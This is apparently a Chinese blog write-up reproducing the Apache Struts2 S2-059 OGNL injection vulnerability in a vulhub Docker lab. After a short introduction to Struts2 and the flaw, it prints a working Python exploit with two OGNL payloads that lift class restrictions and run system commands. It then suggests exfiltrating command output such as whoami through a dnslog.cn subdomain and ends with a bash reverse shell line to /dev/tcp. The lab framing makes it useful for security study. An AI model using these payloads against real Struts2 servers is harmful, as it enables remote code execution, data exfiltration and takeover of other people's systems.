s2-059復現
s2-059
Struts2
介紹
是一個基於MVC設計模式的Web應用框架,它本質上相當於一個servlet,在MVC設計模式中,Struts2
作為控制器(Controller)來建立模型與檢視的資料互動。Struts 2是Struts的下一代產品,是在 struts 1和WebWork的技術基礎上進行了合併的全新的Struts 2框架。其全新的Struts 2的體系結構與Struts 1的體系結構差別巨大。Struts 2以WebWork為核心,採用攔截器的機制來處理使用者的請求,這樣的設計也使得業務邏輯控制器能夠與ServletAPI完全脫離開,所以Struts 2可以理解為WebWork的更新產品。雖然從Struts 1到Struts 2有著非常大的變化,但是相對於WebWork,Struts 2的變化很小。
st2-059介紹
2020年8月13日,Apache官方釋出了一則公告,該公告稱Apache Struts2
使用某些標籤時,會對標籤屬性值進行二次表示式解析,當標籤屬性值使用了%{skillName}並且skillName的值使用者可以控制,就會造成OGNL表示式執行。
漏洞復現
vulunmb拉環境
vulhub/
Struts2
/s2-059
docker-compose up -d //啟動漏洞環境
EXP地址:https://vulhub.org/#/environments/
Struts2
/s2-059/
官網給的exp是沒有回顯的
import requests url = "http://127.0.0.1:8080" data1 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}" } data2 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('touch /tmp/success'))}" } res1 = requests.post(url, data=data1) # print(res1.text) res2 = requests.post(url, data=data2) # print(res2.text)
可以進行修改 修改為ping xxx.dnslog.cn 這個可以直接執行
坑點 由於是java的需要進行編碼 將其名帶外輸出
whoami
.koeep8.dnslog.cn
線上編碼:http://www.jackson-t.ca/runtime-exec-payloads.html
攻擊測試
反彈shell
bash -i >& /dev/tcp/Your ip/Your port 0>&1